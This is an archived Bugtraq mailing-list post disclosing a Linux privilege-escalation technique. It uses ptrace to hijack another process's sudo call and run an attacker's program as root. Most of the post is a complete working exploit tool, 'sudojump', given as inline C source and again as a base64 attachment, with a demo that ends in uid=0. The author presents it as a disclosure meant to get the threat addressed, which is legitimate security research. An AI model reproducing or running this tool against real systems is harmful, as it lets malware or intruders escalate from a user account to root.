看板 Bugtraq 關於我們 聯絡資訊
------=_Part_12458_18925389.1180746512861 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline For many years now I've been making the claim that one can use the ptrace api to intecept the execution of sudo of another process (running as the same user) and replace the requested command with your own. For example, if a user was to do: sudo apt-get install foo Password: .... they are instructing sudo to run apt-get, but an attacker can use the ptrace api to insert a new argument before apt-get which invokes their own program, which might do something malicious and then execute the original command requested of the user. This could be useful to an attacker in a number situations. For example, if the attacker has aquired access to a given account and notes that the account owner executes sudo, he can use this technique to escalate his privileges. Perhaps more importantly, however, is that a trojan or a virus can use this technique to get root whereby its capability is greatly increased. Similar attacks can be directed at su and other suid/sgid programs. All of this is most likely not very much of a surprise to the security community, and I shall not present any possible remedy, except to say that ptrace is necessarily a very capable api and should not be implicated as "the" cause of this potential insecurity. My purpose of writing this post is to provide demonstration code that, I hope, will clarify any misunderstandings about the potiential of this technique, and move it from the often ignored domain of theoretical to practical threat so that it may be suitably addressed. See below or attached. Trent ----------------- Example of use. Start a new xterm: trentw@linux:~/work/sudojump$ ps PID TTY TIME CMD 1153 pts/5 00:00:00 bash 1163 pts/5 00:00:00 ps In other xterm: trentw@linux:~/work/sudojump$ ./sudojump -d 1153 /usr/bin/id execve (/usr/bin/sudo) "sudo", "apt-get", "update" Back in xterm with pid 1153: trentw@linux:~/work/sudojump$ sudo apt-get update uid=0(root) gid=0(root) groups=0(root) ----------------- #include <unistd.h> #include <stdio.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/stat.h> #include <linux/user.h> #include <stdlib.h> #include <getopt.h> #include <string.h> #define MAX_PATH 1024 #define MAX_ARGS 128 #define MAX_ATTACHED_PIDS 1024 int num_attached_pids = 0; pid_t attached_pids[MAX_ATTACHED_PIDS]; void detach(void) { int i; for (i = 0; i < num_attached_pids; i++) if (attached_pids[i] != 0) ptrace(PTRACE_DETACH, attached_pids[i], 0, 0); } void detach_pid(pid_t pid) { int i; for (i = 0; i < num_attached_pids; i++) if (attached_pids[i] == pid) { attached_pids[i] = 0; ptrace(PTRACE_DETACH, pid, 0, 0); } while (attached_pids[num_attached_pids - 1] == 0) num_attached_pids--; } void attach(pid_t pid) { if (num_attached_pids == MAX_ATTACHED_PIDS) { fprintf(stderr, "cannot attach to anymore pids\n"); return; } attached_pids[num_attached_pids] = pid; if (ptrace(PTRACE_ATTACH, pid, 0, 0) == -1) { fprintf(stderr, "error attaching to pid %i\n", pid); return; } num_attached_pids++; } void version() { printf("sudojump version 0.1\n"); } void usage() { printf("usage: sudojump [-c] [-d] [-v] [-h] <pid> <file to exec>\n"); printf(" -d drop original arguments.\n"); printf(" -v prints version info.\n"); printf(" -h prints this help.\n"); printf("\n"); } int main(int argc, char **argv) { if (argc < 2) { usage(); return 1; } int droporiginalargs = 0; int opt; while ((opt = getopt(argc, argv, "vdh")) != -1) { switch(opt) { case 'd': droporiginalargs = 1; break; case 'v': version(); return 1; case 'h': usage(); return 1; } } const char *jumpto = argv[optind + 1]; attach(atoi(argv[optind])); if (num_attached_pids == 0) return 1; atexit(detach); ptrace(PTRACE_SYSCALL, attached_pids[0], 0, 0); int count = 0; for(;;) { int status; int pid = wait(&status); if (WIFSTOPPED(status)) { struct user_regs_struct regs; ptrace(PTRACE_GETREGS, pid, 0, &regs); if (regs.orig_eax == 2 || regs.orig_eax == 120) { if (regs.eax > 0) { attach(regs.eax); } } if (regs.orig_eax == 11 && regs.ecx) { int i; char path[MAX_PATH]; unsigned int argptrs[MAX_ARGS]; char *args[MAX_ARGS]; int argcount; // get the path of the file to be executed path[MAX_PATH - 1] = 0; for (i = 0; i < MAX_PATH - 1; i++) { unsigned int c = ptrace(PTRACE_PEEKTEXT, pid, regs.ebx + i, 0); path[i] = c & 0xff; if ((c & 0xff) == 0) break; } // get the pointers for the arguments being passed argptrs[MAX_ARGS - 1] = 0; for (i = 0; i < MAX_ARGS - 1; i++) { unsigned int p = ptrace(PTRACE_PEEKTEXT, pid, regs.ecx + i * 4, 0); argptrs[i] = p; if (p == 0) break; } // now get the arguments for (i = 0; argptrs[i]; i++) { int j; // get length of arg string for (j = 0; ; j++) { unsigned int c = ptrace(PTRACE_PEEKTEXT, pid, argptrs[i] + j, 0); if ((c & 0xff) == 0) break; } args[i] = malloc(j + 1); // get the string for (j = 0; ; j++) { unsigned int c = ptrace(PTRACE_PEEKTEXT, pid, argptrs[i] + j, 0); args[i][j] = c & 0xff; if ((c & 0xff) == 0) break; } } args[i] = 0; argcount = i; // print out the path and the arguments, for reference printf("execve (%s)", path); for (i = 0; args[i]; i++) { if (i != 0) putchar(','); printf(" \"%s\"", args[i]); } printf("\n"); // if the file being run is sudo, run our file instead if (!strcmp(path, "/usr/bin/sudo")) { // firstly, forget about it if they're passing options // (this is left as an exercise to the reader) if (args[1][0] != '-') { regs.esp -= strlen(jumpto) + 1 + 4 * (argcount + 2); for (i = 0; jumpto[i]; i++) ptrace(PTRACE_POKETEXT, pid, regs.esp + i, jumpto[i]); regs.ecx = regs.esp + i + 1; ptrace(PTRACE_POKETEXT, pid, regs.ecx, argptrs[0]); ptrace(PTRACE_POKETEXT, pid, regs.ecx + 4, regs.esp); if (droporiginalargs) { ptrace(PTRACE_POKETEXT, pid, regs.ecx + 8, 0); } else { for (i = 1; i < argcount + 1; i++) ptrace(PTRACE_POKETEXT, pid, regs.ecx + 4 + i * 4, argptrs[i]); } ptrace(PTRACE_SETREGS, pid, 0, &regs); } } // if the file being run is suid or sgid, we must detach now // otherwise it will not run with those permissions struct stat st; if (stat(path, &st) == 0 && ((st.st_mode & S_ISUID) || (st.st_mode & S_ISGID))) { detach_pid(pid); pid = 0; } // free args for (i = 0; args[i]; i++) free(args[i]); } if (pid) ptrace(PTRACE_SYSCALL, pid, 0, 0); } } return 0; } ------=_Part_12458_18925389.1180746512861 Content-Type: text/plain; name=sudojump.c; charset=ANSI_X3.4-1968 Content-Transfer-Encoding: base64 X-Attachment-Id: f_f2fdomes Content-Disposition: attachment; filename="sudojump.c" I2luY2x1ZGUgPHVuaXN0ZC5oPgojaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPHN5cy9wdHJh Y2UuaD4KI2luY2x1ZGUgPHN5cy90eXBlcy5oPgojaW5jbHVkZSA8c3lzL3dhaXQuaD4KI2luY2x1 ZGUgPHN5cy9zdGF0Lmg+CiNpbmNsdWRlIDxsaW51eC91c2VyLmg+CiNpbmNsdWRlIDxzdGRsaWIu aD4KI2luY2x1ZGUgPGdldG9wdC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CgojZGVmaW5lIE1BWF9Q QVRIIDEwMjQKI2RlZmluZSBNQVhfQVJHUyAxMjgKI2RlZmluZSBNQVhfQVRUQUNIRURfUElEUyAx MDI0CmludCBudW1fYXR0YWNoZWRfcGlkcyA9IDA7CnBpZF90IGF0dGFjaGVkX3BpZHNbTUFYX0FU VEFDSEVEX1BJRFNdOwoKdm9pZCBkZXRhY2godm9pZCkgewogICAgaW50IGk7CiAgICBmb3IgKGkg PSAwOyBpIDwgbnVtX2F0dGFjaGVkX3BpZHM7IGkrKykgCiAgICAgICAgaWYgKGF0dGFjaGVkX3Bp ZHNbaV0gIT0gMCkKICAgICAgICAgICAgcHRyYWNlKFBUUkFDRV9ERVRBQ0gsIGF0dGFjaGVkX3Bp ZHNbaV0sIDAsIDApOwp9Cgp2b2lkIGRldGFjaF9waWQocGlkX3QgcGlkKSB7CiAgICBpbnQgaTsK ICAgIGZvciAoaSA9IDA7IGkgPCBudW1fYXR0YWNoZWRfcGlkczsgaSsrKSAKICAgICAgICBpZiAo YXR0YWNoZWRfcGlkc1tpXSA9PSBwaWQpIHsKICAgICAgICAgICAgYXR0YWNoZWRfcGlkc1tpXSA9 IDA7CiAgICAgICAgICAgIHB0cmFjZShQVFJBQ0VfREVUQUNILCBwaWQsIDAsIDApOwogICAgICAg IH0KCiAgICB3aGlsZSAoYXR0YWNoZWRfcGlkc1tudW1fYXR0YWNoZWRfcGlkcyAtIDFdID09IDAp CiAgICAgICAgbnVtX2F0dGFjaGVkX3BpZHMtLTsKfQoKdm9pZCBhdHRhY2gocGlkX3QgcGlkKSB7 CiAgICBpZiAobnVtX2F0dGFjaGVkX3BpZHMgPT0gTUFYX0FUVEFDSEVEX1BJRFMpIHsKICAgICAg ICBmcHJpbnRmKHN0ZGVyciwgImNhbm5vdCBhdHRhY2ggdG8gYW55bW9yZSBwaWRzXG4iKTsKICAg ICAgICByZXR1cm47CiAgICB9CiAgICBhdHRhY2hlZF9waWRzW251bV9hdHRhY2hlZF9waWRzXSA9 IHBpZDsKICAgIGlmIChwdHJhY2UoUFRSQUNFX0FUVEFDSCwgcGlkLCAwLCAwKSA9PSAtMSkgewog ICAgICAgIGZwcmludGYoc3RkZXJyLCAiZXJyb3IgYXR0YWNoaW5nIHRvIHBpZCAlaVxuIiwgcGlk KTsKICAgICAgICByZXR1cm47CiAgICB9CiAgICBudW1fYXR0YWNoZWRfcGlkcysrOwp9Cgp2b2lk IHZlcnNpb24oKSB7CiAgICBwcmludGYoInN1ZG9qdW1wIHZlcnNpb24gMC4xXG4iKTsKfQoKdm9p ZCB1c2FnZSgpIHsKICAgIHByaW50ZigidXNhZ2U6IHN1ZG9qdW1wIFstY10gWy1kXSBbLXZdIFst aF0gPHBpZD4gPGZpbGUgdG8gZXhlYz5cbiIpOwogICAgcHJpbnRmKCIgICAgLWQgZHJvcCBvcmln aW5hbCBhcmd1bWVudHMuXG4iKTsKICAgIHByaW50ZigiICAgIC12IHByaW50cyB2ZXJzaW9uIGlu Zm8uXG4iKTsKICAgIHByaW50ZigiICAgIC1oIHByaW50cyB0aGlzIGhlbHAuXG4iKTsKICAgIHBy aW50ZigiXG4iKTsKfQoKaW50IG1haW4oaW50IGFyZ2MsIGNoYXIgKiphcmd2KQp7CiAgICBpZiAo YXJnYyA8IDIpIHsKICAgICAgICB1c2FnZSgpOwogICAgICAgIHJldHVybiAxOwogICAgfQoKICAg IGludCBkcm9wb3JpZ2luYWxhcmdzID0gMDsKCiAgICBpbnQgb3B0OwogICAgd2hpbGUgKChvcHQg PSBnZXRvcHQoYXJnYywgYXJndiwgInZkaCIpKSAhPSAtMSkgewogICAgICAgIHN3aXRjaChvcHQp IHsKICAgICAgICAgICAgY2FzZSAnZCc6CiAgICAgICAgICAgICAgICBkcm9wb3JpZ2luYWxhcmdz ID0gMTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICd2JzoKICAgICAg ICAgICAgICAgIHZlcnNpb24oKTsKICAgICAgICAgICAgICAgIHJldHVybiAxOwogICAgICAgICAg ICBjYXNlICdoJzoKICAgICAgICAgICAgICAgIHVzYWdlKCk7CiAgICAgICAgICAgICAgICByZXR1 cm4gMTsKICAgICAgICB9CiAgICB9CgogICAgY29uc3QgY2hhciAqanVtcHRvID0gYXJndltvcHRp bmQgKyAxXTsKCiAgICBhdHRhY2goYXRvaShhcmd2W29wdGluZF0pKTsKICAgIGlmIChudW1fYXR0 YWNoZWRfcGlkcyA9PSAwKQogICAgICAgIHJldHVybiAxOwoKICAgIGF0ZXhpdChkZXRhY2gpOwoK ICAgIHB0cmFjZShQVFJBQ0VfU1lTQ0FMTCwgYXR0YWNoZWRfcGlkc1swXSwgMCwgMCk7CgogICAg aW50IGNvdW50ID0gMDsKCiAgICBmb3IoOzspIHsKICAgICAgICBpbnQgc3RhdHVzOwogICAgICAg IGludCBwaWQgPSB3YWl0KCZzdGF0dXMpOwogICAgICAgIGlmIChXSUZTVE9QUEVEKHN0YXR1cykp IHsKICAgICAgICAgICAgc3RydWN0IHVzZXJfcmVnc19zdHJ1Y3QgcmVnczsKICAgICAgICAgICAg cHRyYWNlKFBUUkFDRV9HRVRSRUdTLCBwaWQsIDAsICZyZWdzKTsKICAgICAgICAKICAgICAgICAg ICAgaWYgKHJlZ3Mub3JpZ19lYXggPT0gMiB8fCByZWdzLm9yaWdfZWF4ID09IDEyMCkgewogICAg ICAgICAgICAgICAgaWYgKHJlZ3MuZWF4ID4gMCkgewogICAgICAgICAgICAgICAgICAgIGF0dGFj aChyZWdzLmVheCk7ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgfQogICAgICAg ICAgICB9CgogICAgICAgICAgICBpZiAocmVncy5vcmlnX2VheCA9PSAxMSAmJiByZWdzLmVjeCkg ewogICAgICAgICAgICAgICAgaW50IGk7CiAgICAgICAgICAgICAgICBjaGFyIHBhdGhbTUFYX1BB VEhdOwogICAgICAgICAgICAgICAgdW5zaWduZWQgaW50IGFyZ3B0cnNbTUFYX0FSR1NdOwogICAg ICAgICAgICAgICAgY2hhciAqYXJnc1tNQVhfQVJHU107CiAgICAgICAgICAgICAgICBpbnQgYXJn Y291bnQ7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIC8vIGdldCB0aGUgcGF0aCBv ZiB0aGUgZmlsZSB0byBiZSBleGVjdXRlZAogICAgICAgICAgICAgICAgcGF0aFtNQVhfUEFUSCAt IDFdID0gMDsKICAgICAgICAgICAgICAgIGZvciAoaSA9IDA7IGkgPCBNQVhfUEFUSCAtIDE7IGkr KykgewogICAgICAgICAgICAgICAgICAgIHVuc2lnbmVkIGludCBjID0gcHRyYWNlKFBUUkFDRV9Q RUVLVEVYVCwgcGlkLCByZWdzLmVieCArIGksIDApOwogICAgICAgICAgICAgICAgICAgIHBhdGhb aV0gPSBjICYgMHhmZjsKICAgICAgICAgICAgICAgICAgICBpZiAoKGMgJiAweGZmKSA9PSAwKSBi cmVhazsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBnZXQgdGhlIHBvaW50 ZXJzIGZvciB0aGUgYXJndW1lbnRzIGJlaW5nIHBhc3NlZAogICAgICAgICAgICAgICAgYXJncHRy c1tNQVhfQVJHUyAtIDFdID0gMDsKICAgICAgICAgICAgICAgIGZvciAoaSA9IDA7IGkgPCBNQVhf QVJHUyAtIDE7IGkrKykgewogICAgICAgICAgICAgICAgICAgIHVuc2lnbmVkIGludCBwID0gcHRy YWNlKFBUUkFDRV9QRUVLVEVYVCwgcGlkLCByZWdzLmVjeCArIGkgKiA0LCAwKTsKICAgICAgICAg ICAgICAgICAgICBhcmdwdHJzW2ldID0gcDsKICAgICAgICAgICAgICAgICAgICBpZiAocCA9PSAw KSBicmVhazsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBub3cgZ2V0IHRo ZSBhcmd1bWVudHMKICAgICAgICAgICAgICAgIGZvciAoaSA9IDA7IGFyZ3B0cnNbaV07IGkrKykg ewogICAgICAgICAgICAgICAgICAgIGludCBqOwoKICAgICAgICAgICAgICAgICAgICAvLyBnZXQg bGVuZ3RoIG9mIGFyZyBzdHJpbmcKICAgICAgICAgICAgICAgICAgICBmb3IgKGogPSAwOyA7IGor KykgewogICAgICAgICAgICAgICAgICAgICAgICB1bnNpZ25lZCBpbnQgYyA9IHB0cmFjZShQVFJB Q0VfUEVFS1RFWFQsIHBpZCwgYXJncHRyc1tpXSArIGosIDApOwogICAgICAgICAgICAgICAgICAg ICAgICBpZiAoKGMgJiAweGZmKSA9PSAwKSBicmVhazsKICAgICAgICAgICAgICAgICAgICB9Cgog ICAgICAgICAgICAgICAgICAgIGFyZ3NbaV0gPSBtYWxsb2MoaiArIDEpOwoKICAgICAgICAgICAg ICAgICAgICAvLyBnZXQgdGhlIHN0cmluZwogICAgICAgICAgICAgICAgICAgIGZvciAoaiA9IDA7 IDsgaisrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHVuc2lnbmVkIGludCBjID0gcHRyYWNl KFBUUkFDRV9QRUVLVEVYVCwgcGlkLCBhcmdwdHJzW2ldICsgaiwgMCk7CiAgICAgICAgICAgICAg ICAgICAgICAgIGFyZ3NbaV1bal0gPSBjICYgMHhmZjsKICAgICAgICAgICAgICAgICAgICAgICAg aWYgKChjICYgMHhmZikgPT0gMCkgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAg ICAgICAgICAgfQogICAgICAgICAgICAgICAgYXJnc1tpXSA9IDA7CiAgICAgICAgICAgICAgICBh cmdjb3VudCA9IGk7CgogICAgICAgICAgICAgICAgLy8gcHJpbnQgb3V0IHRoZSBwYXRoIGFuZCB0 aGUgYXJndW1lbnRzLCBmb3IgcmVmZXJlbmNlCiAgICAgICAgICAgICAgICBwcmludGYoImV4ZWN2 ZSAoJXMpIiwgcGF0aCk7CiAgICAgICAgICAgICAgICBmb3IgKGkgPSAwOyBhcmdzW2ldOyBpKysp IHsKICAgICAgICAgICAgICAgICAgICBpZiAoaSAhPSAwKQogICAgICAgICAgICAgICAgICAgICAg ICBwdXRjaGFyKCcsJyk7CiAgICAgICAgICAgICAgICAgICAgcHJpbnRmKCIgXCIlc1wiIiwgYXJn c1tpXSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBwcmludGYoIlxuIik7Cgog ICAgICAgICAgICAgICAgLy8gaWYgdGhlIGZpbGUgYmVpbmcgcnVuIGlzIHN1ZG8sIHJ1biBvdXIg ZmlsZSBpbnN0ZWFkCiAgICAgICAgICAgICAgICBpZiAoIXN0cmNtcChwYXRoLCAiL3Vzci9iaW4v c3VkbyIpKSB7CiAgICAgICAgICAgICAgICAgICAgLy8gZmlyc3RseSwgZm9yZ2V0IGFib3V0IGl0 IGlmIHRoZXkncmUgcGFzc2luZyBvcHRpb25zCiAgICAgICAgICAgICAgICAgICAgLy8gKHRoaXMg aXMgbGVmdCBhcyBhbiBleGVyY2lzZSB0byB0aGUgcmVhZGVyKQogICAgICAgICAgICAgICAgICAg IGlmIChhcmdzWzFdWzBdICE9ICctJykgewogICAgICAgICAgICAgICAgICAgICAgICByZWdzLmVz cCAtPSBzdHJsZW4oanVtcHRvKSArIDEgKyA0ICogKGFyZ2NvdW50ICsgMik7CiAgICAgICAgICAg ICAgICAgICAgICAgIGZvciAoaSA9IDA7IGp1bXB0b1tpXTsgaSsrKQogICAgICAgICAgICAgICAg ICAgICAgICAgICAgcHRyYWNlKFBUUkFDRV9QT0tFVEVYVCwgcGlkLCByZWdzLmVzcCArIGksIGp1 bXB0b1tpXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3MuZWN4ID0gcmVncy5lc3AgKyBp ICsgMTsKICAgICAgICAgICAgICAgICAgICAgICAgcHRyYWNlKFBUUkFDRV9QT0tFVEVYVCwgcGlk LCByZWdzLmVjeCwgYXJncHRyc1swXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHB0cmFjZShQ VFJBQ0VfUE9LRVRFWFQsIHBpZCwgcmVncy5lY3ggKyA0LCByZWdzLmVzcCk7CiAgICAgICAgICAg ICAgICAgICAgICAgIGlmIChkcm9wb3JpZ2luYWxhcmdzKSB7CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICBwdHJhY2UoUFRSQUNFX1BPS0VURVhULCBwaWQsIHJlZ3MuZWN4ICsgOCwgMCk7CiAg ICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICBmb3IgKGkgPSAxOyBpIDwgYXJnY291bnQgKyAxOyBpKyspCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgcHRyYWNlKFBUUkFDRV9QT0tFVEVYVCwgcGlkLCByZWdzLmVjeCArIDQgKyBp ICogNCwgYXJncHRyc1tpXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAg ICAgICAgICAgICAgcHRyYWNlKFBUUkFDRV9TRVRSRUdTLCBwaWQsIDAsICZyZWdzKTsKICAgICAg ICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8gaWYg dGhlIGZpbGUgYmVpbmcgcnVuIGlzIHN1aWQgb3Igc2dpZCwgd2UgbXVzdCBkZXRhY2ggbm93CiAg ICAgICAgICAgICAgICAvLyBvdGhlcndpc2UgaXQgd2lsbCBub3QgcnVuIHdpdGggdGhvc2UgcGVy bWlzc2lvbnMKICAgICAgICAgICAgICAgIHN0cnVjdCBzdGF0IHN0OwogICAgICAgICAgICAgICAg aWYgKHN0YXQocGF0aCwgJnN0KSA9PSAwICYmICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg KChzdC5zdF9tb2RlICYgU19JU1VJRCkgfHwgCiAgICAgICAgICAgICAgICAgICAgICAgICAoc3Qu c3RfbW9kZSAmIFNfSVNHSUQpKSkgewogICAgICAgICAgICAgICAgICAgIGRldGFjaF9waWQocGlk KTsKICAgICAgICAgICAgICAgICAgICBwaWQgPSAwOwogICAgICAgICAgICAgICAgfQoKICAgICAg ICAgICAgICAgIC8vIGZyZWUgYXJncwogICAgICAgICAgICAgICAgZm9yIChpID0gMDsgYXJnc1tp XTsgaSsrKQogICAgICAgICAgICAgICAgICAgIGZyZWUoYXJnc1tpXSk7CiAgICAgICAgICAgIH0K CiAgICAgICAgICAgIGlmIChwaWQpCiAgICAgICAgICAgICAgICBwdHJhY2UoUFRSQUNFX1NZU0NB TEwsIHBpZCwgMCwgMCk7CiAgICAgICAgfQogICAgfQoKICAgIHJldHVybiAwOwp9Cg== ------=_Part_12458_18925389.1180746512861--